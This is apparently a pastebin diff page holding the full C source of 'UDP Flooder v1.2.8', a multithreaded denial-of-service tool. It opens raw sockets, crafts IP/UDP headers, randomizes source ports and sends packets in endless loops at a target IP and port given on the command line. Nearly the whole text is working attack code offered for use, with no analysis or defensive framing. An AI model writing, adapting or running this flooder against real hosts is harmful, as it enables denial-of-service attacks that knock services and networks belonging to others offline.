View difference between Paste ID: 1zkQu8GJ and UtWWrHkJ

 #include <time.h>
 #include <arpa/inet.h>
 #include <ifaddrs.h>
 #include <netdb.h>
 #include <pthread.h>
 #include <unistd.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys/socket.h>
 #include <netinet/ip.h>
 #include <netinet/udp.h>
 
 #define MAX_PACKET_SIZE 4096
 #define PHI 0x9e3779b9
 
 static uint32_t Q[4096], c = 362436;
 
 struct thread_data{
         int pks;
         int throttle;
 	int thread_id;
 	unsigned int floodport;
 	struct sockaddr_in sin;
 };
 
 void init_rand(uint32_t x)
 {
         int i;
 
         Q[0] = x;
         Q[1] = x + PHI;
         Q[2] = x + PHI + PHI;
 
         for (i = 3; i < 4096; i++)
                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 }
 
 uint32_t rand_cmwc(void)
 {
         uint64_t t, a = 18782LL;
         static uint32_t i = 4095;
         uint32_t x, r = 0xfffffffe;
         i = (i + 1) & 4095;
         t = a * Q[i] + c;
         c = (t >> 32);
         x = t + c;
         if (x < c) {
                 x++;
                 c++;
         }
         return (Q[i] = r - x);
 }
 
 char *myStrCat (char *s, char *a) {
     while (*s != '\0') s++;
     while (*a != '\0') *s++ = *a++;
     *s = '\0';
     return s;
 }
 
 char *replStr (char *str, size_t count) {
     if (count == 0) return NULL;
     char *ret = malloc (strlen (str) * count + count);
     if (ret == NULL) return NULL;
     *ret = '\0';
     char *tmp = myStrCat (ret, str);
     while (--count > 0) {
         tmp = myStrCat (tmp, str);
     }
     return ret;
 }
 
 
 /* function for header checksums */
 unsigned short csum (unsigned short *buf, int nwords)
 {
   unsigned long sum;
   for (sum = 0; nwords > 0; nwords--)
   sum += *buf++;
   sum = (sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);
   return (unsigned short)(~sum);
 }
 void setup_ip_header(struct iphdr *iph)
 {
   struct ifaddrs *ifaddr, *ifa;
            int family, s;
            char host[NI_MAXHOST];
 
            if (getifaddrs(&ifaddr) == -1) {
                perror("getifaddrs");
                exit(EXIT_FAILURE);
            }
 
            /* Walk through linked list, maintaining head pointer so we
               can free list later */
 
            for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
                if (ifa->ifa_addr == NULL)
                    continue;
 
                family = ifa->ifa_addr->sa_family;
 
                if (family == AF_INET) {
                    s = getnameinfo(ifa->ifa_addr,sizeof(struct sockaddr_in),
                            host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
                    if (s != 0) {
                        printf("getnameinfo() failed: %s\n", gai_strerror(s));
                        exit(EXIT_FAILURE);
                    }
                    if(strcmp(host, "127.0.0.1") != 0){
                        break;
                    }
                }
            }
            freeifaddrs(ifaddr);
   iph->ihl = 5;
   iph->version = 4;
   iph->tos = 0;
   iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr);
   iph->id = htonl(54321);
   iph->frag_off = 0;
   iph->ttl = MAXTTL;
   iph->protocol = IPPROTO_UDP;
   iph->check = 0;
 
   // Initial IP, changed later in infinite loop
   iph->saddr = inet_addr(host);
 }
 
 void setup_udp_header(struct udphdr *udph)
 {
   udph->source = htons(5678);
   udph->check = 0;
 }
 
 void *flood(void *par1)
 {
   struct thread_data *td = (struct thread_data *)par1;
   fprintf(stdout, "Thread %d started\n", td->thread_id);
   char datagram[MAX_PACKET_SIZE];
   struct iphdr *iph = (struct iphdr *)datagram;
   struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
   struct sockaddr_in sin = td->sin;
   char new_ip[sizeof "255.255.255.255"];
 
   int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
   if(s < 0){
     fprintf(stderr, "Could not open raw socket.\n");
     exit(-1);
   }
 
   unsigned int floodport = td->floodport;
 
   // Clear the data
   memset(datagram, 0, MAX_PACKET_SIZE);
 
   // Set appropriate fields in headers
   setup_ip_header(iph);
   setup_udp_header(udph);
 
   char *data = (char *)udph + sizeof(struct udphdr);
   data = replStr("\xFF", td->pks);
   udph->len=htons(td->pks);
 
   iph->tot_len += td->pks;
 
   udph->dest = htons(floodport);
 
   iph->daddr = sin.sin_addr.s_addr;
   iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
 
   int tmp = 1;
   const int *val = &tmp;
   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
     exit(-1);
   }
 
   int throttle = td->throttle;
 
   uint32_t random_num;
   uint32_t ul_dst;
   init_rand(time(NULL));
   if(throttle == 0){
     while(1){
       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
       random_num = rand_cmwc();
       udph->source = htons(random_num & 0xFFFF);
       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
     }
   } else {
     while(1){
       throttle = td->throttle;
       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
       random_num = rand_cmwc();
       udph->source = htons(random_num & 0xFFFF);
       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
 
      while(--throttle);
     }
   }
 }
 int main(int argc, char *argv[ ])
 {
   if(argc < 6){
     fprintf(stderr, "Invalid parameters!\n");
     fprintf(stdout, "UDP Flooder v1.2.8 FINAL by ohnoes1479\nUsage: %s <target IP/hostname> <port to be flooded> <throttle (lower is faster)> <packet size> <number threads to use> <time (optional)>\n", argv[0]);
     exit(-1);
   }
 
   fprintf(stdout, "Setting up Sockets...\n");
 
   int num_threads = atoi(argv[5]);
   int packet_size = atoi(argv[4]);
   unsigned int floodport = atoi(argv[2]);
   pthread_t thread[num_threads];
   struct sockaddr_in sin;
 
   sin.sin_family = AF_INET;
   sin.sin_port = htons(floodport);
   sin.sin_addr.s_addr = inet_addr(argv[1]);
 
   struct thread_data td[num_threads];
 
   int i;
   for(i = 0;i<num_threads;i++){
     td[i].thread_id = i;
     td[i].pks = packet_size;
     td[i].sin = sin;
     td[i].floodport = floodport;
     td[i].throttle = atoi(argv[3]);
     pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
   }
   fprintf(stdout, "Starting Flood...\n");
   if(argc > 6)
   {
     sleep(atoi(argv[6]));
   } else {
     while(1){
       sleep(1);
     }
   }
 
   return 0;
 }